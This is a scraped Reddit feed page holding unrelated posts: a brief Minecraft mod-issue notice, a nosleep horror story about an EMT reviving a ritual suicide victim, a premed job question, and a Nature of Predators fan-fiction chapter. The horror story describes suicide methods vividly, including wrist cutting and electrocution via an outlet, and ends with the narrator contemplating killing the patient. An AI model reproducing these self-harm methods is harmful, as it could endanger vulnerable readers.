xylemlandmark: Coordination of documentation, crowd control, responsible for using Snopyta at first and the disaster that caused
Live updated document -
https://hackmd.io/B46EYzKXSfWSF35DeCZz9A Curseforge is aware of the issue keep an eye in their discord for announcements.
submitted by
Noonlineidrip to
minecraftclients [link] [comments]
2023.06.07 17:58 Positively6thStreet Last week I resuscitated my first patient. I wish I hadn't.
One of the first things my EMS cert teacher told me was that the touchiness would pass. That one day I’d be slipping IV needles into arms as easily as I feather floss between my teeth.
Yet I was two weeks into my first full-time ambulance gig and I was still shaking between calls. The three story inferno raging downtown didn’t help, but that’s not where me and my partner Tom were heading.
Prior to this whole clusterfuck our night was quiet. Mostly dealing with confused dementia patients and burgeoning (harmless) schizophrenics. The MO is either to find their medicine, or transport them to the hospital. Most of our calls were like this, low stakes, right in my comfort zone.
But now we were dispatched to a priority two emergency, the kind of call that necessitates the whole lights and sirens deal. Someone called in a possible self-harm situation involving their neighbor. Serious shit, but I had Tom with me. He was a veteran EMT and former cop so I was always in steady hands.
The issue was that that downtown inferno had fucked traffic two solid miles in front and behind us. We hadn’t moved more than ten yards in five minutes, and even though it was protocol to have a police response as well we were still closest by far. We were the front line at that point.
Another minute passed in gridlock before Tom finally blurted it out. “You’ve gotta go alone.” And there really was no other way. Abandoning the ambulance and blocking further firetrucks wasn’t an option. Solo responses were rare, sure, but necessary in desperate circumstances like this.
I knew it was coming, but goddamn was that the last thing I wanted to hear.
Don’t get me wrong, I wanted to want to. Deep in my heart I would be willing to lay my life down for a patient. I wanted so badly to be that type of cool, methodical mind that entered an emergency situation and eased their patient back from the brink. It just hadn’t come to me yet.
Tom saw this. I’m sure if seconds weren’t the difference between life and death he would’ve given me a five minute pep talk. For now, all he could do was pat my shoulder and smirk. “Knock ‘em alive, kid.”
So out I went. Squeezing myself between the bumper to bumper traffic until I found myself on the correct cross street.
There’s something horrifying in the minutes between their call and your arrival. The feeling creeps in while you’re slipping over broken sidewalks and homeless tents. Realizing you’re the beginning and end of their recovery. It all comes down to you, the practitioner.
To be blunt…you’re God for those few minutes. And God was having a shit time gaining entry.
Someone buzzed me in, but of course apartment 13B was locked. Our response time was already woefully long so waiting for police to break it down was not an option. I went to town using my bump key, prying it open less with finesse and more raw frantic energy.
The door opened to near complete darkness. I saw candles around the corner at the end of the hall, but a whole lot of unknown was between me and there.
Light switches were oddly dead, so my flashlight had to guide my feet. From the little I could see it was a well lived-in apartment, at least two generations had sunk their essences into the carpet.
That’s when the smell hit.
It was familiar. The scent of a man? No. Not exactly. No. It was like my Grandfather’s musk. I hadn’t smelled it since I was in his lap as a kid, but the recall was instantaneous. It made me feel oddly safe. Which lasted only a few seconds considering what I would soon see.
Around the corner there were metric shitton of candles in the living room.
Every surface was covered with them. Weirdly, the wax was melting from every kind of receptacle EXCEPT a candle jar. Bowls, mugs, shot glasses. The source of the musk, no doubt. They cast the entire room in a homemade devilish glow.
They lit my way to the girl I would come to know as Ellie. She was wrapped up in herself in the corner, motionless. Baggy sweats and a white tee hid her frailty at a glance. I rushed to her, set her on her back, and began to triage.
First was the bruising on her neck. Fresh. Must’ve tried some sort of strangulation, but it wasn’t what did her in. So I quickly moved on.
Blood caked her white shirt. I followed it to her wrists. Messy little slashes, but didn’t go deep enough to do real harm. That’s when I noticed the culprit of my lightswitch woes. Sloppily wound duct-tape attaching a FORK to her hand.
Just a foot away from the charred out power outlet.
Jesus Christ she electrocuted herself. Full cardiac arrest. She could’ve died in the seconds it took me to triage.
My hands found position and began compressions irrespective of my panic. I regained some confidence as I found my rhythm, laying the foundation for the AED to work its magic.
The repetitiveness gave me my first moment to take Ellie in.
She was young, maybe even younger than my nineteen year-old sister. Her being in this position seemed so wrong. I could see this face getting drunk at a college party, waiting tables at a diner in town, but not here.
I thought about the second chance I wanted to give her as I continued compressions.
That’s when the room started to feel…warmer. The candle scent now got a bit clearer. It wasn’t the manly musk of my Grandfather, it was an animalistic scent. Dried blood and mange. Something that activated a long buried fight or flight instinct in my primitive genes.
I had to keep on with my compressions though. Even if I had lost track of time. I might’ve been a ways short of two minutes when I decided to cede CPR duties to my AED.
It wasn’t until I unzipped my bag that I realized this was my first time using an AED in the field. I had learned its ins and outs, tested it on course dummies, and seen others use it, but never had I actually been tasked to use it on my own in the field.
I pulled up her shirt and applied the wired pads, again feeling a warmth that sent a bead of sweat down my neck. Finally me, the naive idiot, decided to turn around.
The flames of the candle array now burned twice as bright. They licked high enough to start to uncover the shadows against the walls, revealing scraggly looking wallpaper. No time to admire the setting though.
I waited patiently as the AED robotically counted down and administered the first shock. It picks up heart rhythm automatically, but I still used my fingers to feel her absent pulse directly.
It remained still. No response. Desperate, I re-positioned my fingers as if checking pulses wasn’t the one thing I was supremely confident in.
My fingers wiped some blood from her wrist as I did. Only now did I notice her cuts weren’t at all random…they in fact cut out a symbol in her flesh.
A star? No. It was a pentagram.
But the affirmative BLOOP of the AED took my mind off that fast. It rejiggered her heartbeat, automatically suspending its shocks. Any weirdness I felt came secondary to my resumed chest compressions.
Resuscitation, especially with a faint heartbeat like this, always felt to me like pulling someone out of a quicksand pit. You’re shoulder deep clinging to a couple fingers. Hanging onto that little grip as you try to extract the entire person. If you’re good, that little grip is all you need.
I pumped with that metaphor in my mind’s eye. Laser-focused on my goal. For fifteen seconds I felt like that ideal practitioner I dreamt of being, reeling my patient back from the brink.
Until, I shit you not, the flames gained a life of their own.
At first I thought it was just the ones directly in front of me, but as I spun I realized it animated every live flame. Each one dancing its way towards the ceiling, causing their receptacles to bubble over with wax.
You spend a lifetime watching flames move randomly, flicking with the wind, and I promise you their sudden conscious movements will rattle you deep.
The full red light illuminated what I now realized wasn’t wallpaper…
It was blood-inked writing. Overlapping scrawls of mantras over every wall and even, impossibly, the ceiling. I imagined her crawling like a spider as she wrote Praise be/All Glory to the true One/May his new Kingdom reign. Then finally the one spanning the entire main wall.
May my body serve as his sacrificial lamb.
I suddenly felt like an interloper in a place I should not be, intruding on an ancient ritual. And whatever had its grip on her seemed to be in the room with me now.
The flames kept up their heights so I could take it all in, wax now spilling over onto the floor.
Looking back, I think it was offering me a chance to reconsider what I was doing.
It had its claim on her. But as her practitioner I felt I had an equal claim.
I resumed compressions.
Faster now, desperate to get her back as fast as possible. The flames swirled, seemingly enraged by this development and not letting me forget it.
Yet somehow I was able to separate my technique from my panic-ridden nerves, keeping a tight rhythm for almost a minute before the girl finally snapped upright. The flames dissipated in an instant down to tiny weak flickers.
Her eyes were shut at first, like she was still within a blissful dream. Then her eyes opened to what she seemed to clearly think was a nightmare.
“Where’d he go? Where is he?” She seemed taken by complete surprise, grounding herself back in reality as she pawed at herself. My practiced lines of patient comfort only enraged her.
“You have to let me get back!” With rabid panic she started to stab at her wrists but soon realized it wasn’t the most economical method of returning. I finally regained my composure just as I saw her eyes meet the burned outlet.
I screamed and grabbed at her leg but her hand stretched to reach it. It connected, but unfortunately it seemed she had blown it out completely the last time. No shock administered.
Ellie now kicked me off and stood, searching for a weapon, a way out. It gave me a second to try to reason with her person to person, that practiced bullshit now scared right out of me, but she responded with a level-headed reason that made it feel almost like…
…like she was speaking in my best interest.
“You don’t understand, I’m the last one, he needs me.” She raced across the room to her dresser, rifling through the top drawer. I went to pull her off when she struck me hard, across the face.
It wasn’t a punch to harm, as much as it was a utility swipe. Keeping me away as economically as possible. I was a few feet away when she pulled the knife from the drawer.
There wasn’t any fanfare, no waiting to see the horrified look on my face, she just sliced as fast as she possibly could. I don’t remember if it was two or three good hacks before Tom rushed in to tackle her.
In one swoop he was able to pin her while cleanly plucking the blade from her grip. Blood pooled as he steadied her flailing arms with ease, getting the one she had sliced into the open.
“You okay?” Once we had established that I was at least physically unharmed I got back to work wrapping her wrist, stopping the brunt of the blood flow. Tom reinstated order to my rapidly deteriorating nightmare.
As much as she wailed and cried in that first minute, she settled completely as she was padded up and restrained for transport. Her dead eyes followed me back and forth around the room as I spoke to the arriving police. Burning into my scalp even when I turned around.
She seemed to have come to a realization, something that set her at complete peace even here in the reality she had been forced back into. Stupid me, I reasoned that maybe I had given her a new lease on life that she would cherish.
Stupid me.
.
.
.
That was a week ago now.
There were five total ritual suicides that night, aside from Ellie. All were successful. The first was a young artist who burned herself on a pyre, setting her warehouse studio space aflame. That was the inferno that caught Tom and I in the traffic heap.
My first patient died two days after.
He was a twelve year-old boy suffering from anaphylaxis after eating some mislabeled Chinese food. An epi-pen was administered by his Mom, but it wasn’t enough. We arrived on time and got the epinephrine IV in, however his heart responded in a bizarre fashion.
It began to rapidly slow with the increasing dose. He wasn’t just dying, it was like I was killing him. He died so fast it took his Mom two minutes to realize. The longest two minutes of my life.
One is a fluke but six are a pattern.
Five more of my patients would die, some with completely non life-threatening conditions. My supervisor comforted me after the first but things darkened quickly from there. Despite the fact that I was investigated and could not have done anything different, I was suspended indefinitely.
It took me almost a week to find Ellie.
From the hospital they bounced her between a few psych wards until landing her at one for, how shall we say, the more intense cases. Despite this their windows were not barred, just thick and secured tight with a latch. Something told me hers would be unlocked. It was.
She’s sleeping. Been this way for the last hour.
I’ve gripped and released the knife in my pocket a hundred times over.
submitted by
Positively6thStreet to
nosleep [link] [comments]
2023.06.07 17:52 MrBear826 Should I quit my Job?
Hi, I need help making a decision because I just cannot be objective about it.
Here's the full backstory, and I'll try to be as neutral as possible. So I'm working as a CRC at a hospital during my gap year in Boston. I'm originally from the south, but since it's a huge hospital with good connections I though it'd be worth it to move to MA for a year or two before applying to Medical School. I also really love the research I'm doing and feel genuinely happy about the difference I'm making. Here's the thing. I work in the basement, unless I'm in clinic, and there is literally no sunlight. In the winter it's even worst because I go in when it's dark and by the time I come out it's dark. I'm also far from my friends, family, and boyfriend so mentally it's been hard.
Over this past year, I've gotten some pretty great friends here and have actually been enjoying my time in Boston. But to be fair, it's summer and I know when it's winter I'll feel that same seasonal depression.
So I decided I'd ask to be remote, and move closer to everyone and somewhere that the sunset isn't at 4pm in the winter. A few months ago I asked if I could be fully remote, and the HR said yes. I submitted my AMCAS application last week, thinking I'd be working here for another year. Now, 3 weeks from the end of my lease here they decided they cannot offer me remote. Which means that I'd have to find a new place to live in 3 weeks or quit and find a different job in the city I plan to live. My job right now can be done remotely but I love clinical work and would become an EMT if I quit this job. So do I choose the job at a hospital where I might get publications and connections, or move and become and EMT where I'll get more experience and probably have more fun? Will it look bad if I leave? Will medical schools care that I quit my job a week after submitting my application? Would it seem like I'm lying about my job and future hours?
Other info:
I've been working here for a year, and I love my PI and management. HR just sucks.
My GPA: 3.9 and 514 MCAT
I know mental health is important. I'm just at the point where I know I can compromise and still enjoy Boston for another year. I just also know I'd enjoy moving more. But if it's going to impact my life plan in a drastic way, I would rather not.
Thank you!
submitted by
MrBear826 to
premed [link] [comments]
2023.06.07 17:41 TheManwithaNoPlan Persistence Journalism [16]
Thanks again to
u/Acceptable_Egg5560 for helping write this with me, and for making all this possible in the first place with his amazing fics! (Also, his birthday was a few days ago, go comment and wish him a happy birf)
[First]-
[Prev]-Next
Memory transcript: Vekna, Venlil Citizen. Date: [Standardized human time] September 22nd, 2136 The light of a new Paw floods in through my window. I groan and try to pull the bedding sheets over my eyes, but the deed is done. My mind starts to churn as I groggily get out of bed to start the paw.
Another paw where we wouldn’t be going after our guy, I presume. After our run in with Unzekep, Sharnet had gone quiet for the most part. I tried to talk with her after leaving the power plant floor, but she had completely clammed up. After arriving back at the hotel, things had gotten even worse. She locked herself in her room and refused to come out for anything. Food, beverage, nada. She wasn’t even answering my calls!
I wince as a bad step sends dull throbs of pain through my skull.
Maybe this has something to do with it. When I tried to pull Sharnet back from the ledge, she had hit me in the eye. It’s still swollen to a degree, but usually bearable. It was my fault, anyways, I probably just startled her while she was focused.
I’ve taken worse before, I’ll live. If only I could tell her that. As I perform my daily grooming, I think back to Tagelb. He said that the other Harchen he was suspicious of was Yrtima, and she was next in our list. We don’t have much on her, but the roster of suspects is rapidly dwindling. One way or another, we’ll find our guy when we investigate her.
If we investigate her. As I finish brushing my fur, I resolve to actually get into Sharnet’s room. Sighing, I look at my reflection in the mirror.
Same as I’ve always been, same as I’ll always be. The brown eye was a new touch, but it just served to show a portion of how ugly I am on the inside to the rest of the world.
Monsters can’t hide forever, after all. I exit my room and start making my way down to the lobby. A part of me debates telling Sharnet everything. It’s technically all available if you know where to look, so why not get it over with now? The pain will be far less than if she finds out later on, when I’ve grown properly attached as a friend.
Hah, why do I still want friends? They all abandon me at the first chance after learning about my true nature. Why would Sharnet be any different? I’m nothing more than a liability, not truly prey, but not truly predator.
I’ve had to fight for what little I have…and maybe that’s why I can’t tell her. I don’t want to lose what meager things I’ve managed to accomplish here. What few connections I’ve made.
Sharnet, Tagelb, even Unzekep. Only one would understand, but unlike Unzekep, I wasn’t a mistake. I don’t get scared as easily, I miss social cues, I can’t bear loud spaces, I need something to rub, sometimes I even…I even think about hurting people I don’t like. People who don’t deserve it.
No, I wasn’t a mistake like her, and she’d recognize me for the threat that I am if I ever told her. So long as I can keep quiet, nobody should know. Nobody will know. But how can I get Sharnet to come out? How can I approach her without looking suspicious? If she suspected, would she also try to-
No. I shouldn’t think that. I shouldn’t think that about her, even if it’s probably true. I look at the small meal bar the lobby had set up. Recluse or not, Sharnet still needs to eat. That would be something normal people would do. She should be hungry, so someone would try to make them eat. That’s what I’ll do.
The variety of the selection hadn’t changed much over the time we had been here. Thankfully, today they have some grain bars in stock, perfect for transportation. I grab a pawful of them along with a JuiceFruit, flicking my ears at the receptionist as I pass.
I still don’t get why we have to do that. I enter back into the elevator and make my way to Sharnet’s room on the 6th floor. I recall the last time I was here, back right before Uylten. It had been a complete mess.
I don’t imagine it’s gotten any better since. Usually when people lock themselves in their rooms, they aren’t doing so for a deep-clean. My thoughts are interrupted as I come up upon Sharnet’s door. Silence. Besides the faint sound of breathing behind the door, her room is silent to my ears. I hesitate for a moment, my paw hovering above the door.
What if I did something wrong when we were talking to Unzekep. Would she even want to see me right now? Maybe she was on her cycle? No, I need to know what’s going on. About her journal, about what happened three paws ago, about everything. There’s too much going on here. More than that, what if she needs me? I have to be there for her. I rap my paw against the door thrice and wait, ears perked and listening.
Nothing. I knock a couple more times.
Still nothing. Fine, I guess I’ll talk. “Sharnet? Are you in there?” I stand in wait for a few seconds more.
Still nothing. I sigh exasperatedly, twisting my tail in impatience.
Alright, you force my paw. “I have food, if you want some.”
Another few seconds pass, with still nothing. As I start to leave, though, I hear shuffling coming from inside. After a moment, I hear Sharnet’s muffled voice coming from inside. “Why are you here?”
Even to my ears, her voice sounds weak and despairing. I may not always understand people’s social cues, but this is a neon sign blazing on the night side.
Something’s wrong. I hurry back to the door, making sure to direct my voice inwards. “You’ve been in there for paws, and I haven’t seen you eat anything. I brought up some grain bars and a juicefruit for you. Can I come in?”
Silence passes between me and the door.
Nothing. Please, do something. Some reaction at all. Another shuffle sounds from inside. “Why do you care?”
I can’t help but be gobsmacked by that statement.
Why do I care? You saved my life! You had my back when no-one else did! Why wouldn’t I care?! “I…why wouldn’t I? Can I please come in? I’m…worried.”
OH FOR HERD’S SAKE, WHY CAN’T I SPEAK?! “Why? I would… hurt you again…”
I pause at that. My eye still throbbed, it’s swelling still noticeable.
Was… was that what she was worried about? But that was an accident! She was just trying to get me off, that’s completely understandable! I flicker my ears in concern and press a paw against the door. “I’m fine, Sharnet. Just… Please let me in. Please.”
More silence. I can hear only her breathing from behind the door.
Okay, I tried the calm way, maybe I try… her way. “L-look. I am not leaving. You have… you have spent too long in there with… with nothing to eat! So… so either you open this door, or I’ll open it myself!”
I wasn’t sure if I would follow through. I hope my tone is able to carry the bluff.
If I have to, maybe I could kick the lock. That might loosen it. Then I could- The door clicks. The sign above the handle turns to show it’s unlocked. I need to act now, before she changes her mind. “Okay, I’m coming in!”
Using my foot, I slide the door open, now getting a look at the-
Herd have Mercy, The SCENT!! When she disappeared to her room a few paws ago, I made sure that she brought along some fruits so she would eat. They have not been touched.
And it shows, or rather, smells. Our natural sense of smell is rather specialized for plants, to the exclusion of almost all else, so the stench of the decaying fruit lingers in the air like a rotten fog, setting on my tongue like a disgusting blanket of speh.
The room is dimmed by the blackout curtains, but even so, it looks horrible. Like someone had come in and attempted to stage a predator attack without the blood. The bed frame is out of place, shoved to the side with the mattress and blankets just piled on the wall. Small bits of paper lay scattered around the room, one of which I recognize as having the rough sketch of one of the overseers. Following the mess, I eventually come to find the fateful journal lying with some of its pages torn out.
But most worrisome of all isn’t the room, but Sharnet herself. She hasn’t groomed even once since our parting. Her fur is tangled and matted, with the general filth gained from our short wandering in the humid tunnels left unchecked in her tangles. She sits with her back against the opposite wall, looking more fearful than I have ever seen her before.
Was she scared…of me? No, nonono. Please, don’t tell me she’s figured it out. Please, not now, not now! “How?”
Her voice rings through the silence, echoing off the walls ever so gently like a drum in the night. “How… what?”
“How can you stand to be so close to me?”
…
Ok, now I’m just confused. “I…huh? Sharnet, what’s going on? Why is your room a mess, why are
you a mess? And why are you huddled in the corner like an Arxur is behind me??” A part of me still thinks she’s figured out the truth, but now I’m not so sure.
This isn’t right, none of this is. I start to approach her, but that doesn’t last long.
“Stop!” She shouts at me, causing me to jump back in surprise. I hear her whimper. “I don’t want to hurt you. Like I hurt everyone.”
My paw goes up to my eye involuntarily. It’s still sore to the touch, but that doesn’t matter now. I have a feeling this is about what happened with the spehlicker we threatened, so I set the fresh food down on the counter and slowly start to approach her once again. “Sharnet, that was for a good cause! She threw a wrench at Unzekep, threatening her was completely unders-”
Sharnet’s face contorts as she yells at me. “I was going to
Murder Her!!!”
I freeze at her words.
Murder her? She’s crying now, coughing phlegm and flowing tears as she wails. “I was- I was going to drop her! I wanted to- to see her die! T-to die!!”
I’m…unsure of how to react to that. I remain frozen as I process.
She…she wanted to see vengeance, too? But…I thought…I thought only people with PD had that. Wait…that can only mean one thing… That Must Be Normal. I can’t help but chuckle at that, my tail starting to sway behind me as I do.
Even a monster has something in common with everyone else. I sigh, kneeling down a few [meters] away.
For once, I finally know what to say. “You too?”
I suddenly found myself facing down a glare. “You didn’t want their death. Not like me.”
Monsters aren’t intimidated so easily. I match her gaze and cock my head. “Says who? We both saw her chuck that wrench at Unzekep, I certainly wouldn’t mourn her death. But that isn’t what we’re here to do, is it?” I stand just enough to match her eye level, taking a step towards her. “What are we here to do, Sharnet?”
“To keep people safe from monsters,” she replies, “monsters like me…”
I finally close the distance between us and clamp my paws down on Sharnet’s shoulders, locking the both of us in place. “No, like the chief engineer, like the foreman, like …like…”
Like me. “Like the overseers. Not you.
Never you. They hurt people who did nothing to deserve it.”
“But I have, too!” The absolute rage in her voice made me release my grip. “He’s probably dead because of me! And he- he did Nothing! And I tried to kill him!!” She panted heavily, trying to find her words.
Dead because of her? Tried to kill him? Wait…no, no she couldn’t have… “Y-you… killed someone?”
“I was- I was in the program. The Exchange p-program. My p-partner… he did nothing and I- I tried to kill him…” she let out a sob as I try to grapple with her words. “The raid… it happened before I could find him again… he would have survived if it hadn’t been for me… if I hadn’t stabbed him…”
My grip wavers slightly. “You…you stabbed him? Why?” In my mind, I know why. Because they’re predators. That’s why. Predators are inherently dangerous, they must have done something threatening.
“He was being nice. He was telling a story. And I tried to kill him for it.”
That can’t be it. There must be more! “But…what was the story? It- Predator stories must be full of violence! You can’t be blamed for reacting appropriately to it! Was he talking about hurting an animal? How many he killed in a war?”
“It was noble!” Her tail lashes with rage, “it was good! They would do whatever they could to defend something! Defending! That- that they would kill themselves if it meant protecting someone they cared about!” She coughs to clear her throat. “They let themselves die to defend our station from the Grays. I tried to kill him for saying they did so in the past.”
I think about what she’s saying. It’s a known fact that the humans sacrificed themselves during the raid so the station could survive, but to think that her partner died before she could make up…
Herd, that’s awful. My steadily loosening grip refirms as I bring her head up. “You made a mistake, then. I don’t know what he said to you, but I know you wouldn’t do something like that without a reason. I’m sorry you didn’t get to make up with him, but I’m sure if he were here now, he’d forgive you.” I rub at my swollen eye. “Like I did. You had a reason to push me away, and I don’t blame you for it.
She shakes her ears in the negative. “I didn’t have a reason to kill him. I didn’t have a reason to hit you. I was going to kill her… and I wasn’t wanting you to stop me.” She gazes at me sadly. “I wish I was a good person like you.”
A good person like me. I lower my head as I start to chuckle.
A good person…like me? Like the diseased monster?! I start cackling hysterically at the sick humor of all of this.
A good person like me! I’m doing a better job of masking than I ever thought possible! After a [couple minutes] of breathless, whistling cackling, I start to come back down. The corners of my eyes are wet, from sadness or happiness I can’t possibly tell.
“A gh-hood person like me-hehe! Sharnet, Sharnet no. No, you shouldn’t compare yourself to me. Everyone makes mistakes, you’re no less of a person for it! What matters is that you move past it. My dad always told me that growing up, and it’s good advice to live by. You want to move past what you did? Then do something!
Anything! It’s better than holing up in your room like…like this!” I gesture around the room, my movements stirring the rotten stench in the air I had almost tuned out.
“Your father sounds like a good man.” She sighs.
I’m reminded of his room in the hospital. All the blinking lights, the beep of the heart monitor. His lovely eyes hidden forevermore. A tear rolls down my cheek, the source of which I’m certain of this time. “Yes…he is…”
“I wish mine was…” she curls her tail around her legs. “He…he was always taking something. He would go clean, but then change what he was hooked on. He would say he would change, but all that ended up changing was what he took. Then… then had us take them too.”
Oh…I didn’t even realize…wait. “What… what did he make you take?”
She just looked down to the ground, her eyes crying despite their ducts running dry. “He took pheromones… put it in our food.”
Pheromones. That… oh no. “Sharnet, I…I had no idea. How long did he…?”
“A season… mom didn’t realize. She thought… she thought that they were finally getting along again…” I see a shudder go down her spine, “Everything felt wrong after meals. Too loud. Too quiet. I would stare at a wall for a claw. Run until my legs couldn’t take it anymore. I felt angry. Or scared. Or happy. Or sad. My… body… they said I was just early. They didn’t know. Nobody did. Nobody listened to me, until…”
I’m transfixed to her horrible story, leaning forward as I anticipate her response. “Until what?”
“I… saw dad taint the food. But that was his last dose. So I snuck in dad’s car trunk. He drove to meet a man. I filmed him… through a crack.” A moment of silence passes between us as the words sink in. “Mom didn’t even take anything when we ran that paw.”
I never knew my mother, but dad spoke fondly of her.
To save their child… “Your mother seems to care a lot about you to have acted so fast in the face of evidence. It must have been painful for her to learn her mate was drugging you both.”
“She was so sorry. Said that if I hadn’t done that, she might’ve kept lying to herself.” She takes a heaving breath as she attempts to calm herself, her fur lowering despite me not having moved back. “When I went into journalism, she praised me. Said I always searched for the truth and urged me to continue.”
“So you were able to escape the situation and get better.” I start wagging my tail positively to help assure her. “You got out in time, and you no longer had to face those problems.”
Her sad sigh hit me in the chest like a Mazic. “Please, don’t be afraid when I say this…The problems didn’t stop. I was… when I got angry I would lash out. When I focused on something, everything else disappeared. When I… when I do something I
can’t stop. And if I try, it feels wrong. Like my mind hurts. The articles, my journals,my job… it just lets those happen.”
Don’t be afraid? Lashing out? Everything disappearing when focused on something? That… that sounds… I finally understand. I understand why she hid from me. Why she felt so ashamed and scared. Why she acted the way she did with Unzekep and Tagleb.
She was diseased and thought I wasn’t. Sharnet shakes her ears, an act to focus herself. “I thought I had it under control. That I could just keep focusing on stuff that wasn’t fully known. That I could help people. But I just hurt them. On the station. In the tunnels. I hurt you twice. I acted without consulting you with Tagleb, then hit you when you tried to stop me from killing somebody. I just…” her eyes meet mine. “I wish I could be like you.”
I look her up and down, debating what to do. Am I really so good at masking that I come off as normal? That would mean that she has no idea about who I really am,
what I really am. And she looks up to me to boot…no, she wasn’t born a monster, she was made one. She still has a chance to change, to redeem herself. I’ll forever be who I was born as, and no matter what any head official says, there’s no way out for me.
But maybe I could be hers. My brain, previous split in my actions going forward, unifies on a single goal: be the person Sharnet believes you to be. Even if I couldn’t be saved, perhaps if I keep acting as she believes, she can overcome her own struggles. If I came out to her, I’d only be performing a selfish act. She’d realize what I am, and diseased or not, she wouldn’t be wrong in pushing me away. The joy of the realization that we’re one in the same is quashed under the assurance that nothing will change, nothing
can change.
For Sharnet’s good. I hug her to me, and pat her back. “Then the first thing you have to do is believe that you can be. I know you can do it. And… maybe wash up. Your fur is all tangled.” I snicker at my own joke, squeezing her before letting go and taking a step back. “We came here to find monsters, and no matter your past, you’re not one of them.” I offer my paw to her to help her up. “You’re…no,
we’re here to stop them, so let’s get back to doing that. Together.” I raise my ears and wag my tail in a hopeful smile.
She looks between my paw and my eyes, her own starting to moisten once again. After a brief moment of hesitation, she takes my offer. I feel her paw grip around mine as I pull her to her feet. She chooses to move forward, to complete our task, to overcome her past.
And I couldn’t be happier. I will uphold who Sharnet believes me to be, no matter what. For her sake…and for mine. [First]-
[Prev]-Next
submitted by
TheManwithaNoPlan to
NatureofPredators [link] [comments]
2023.06.07 17:34 Fun-Long-2668 How do I respond? I'm green, Recruiter is gray.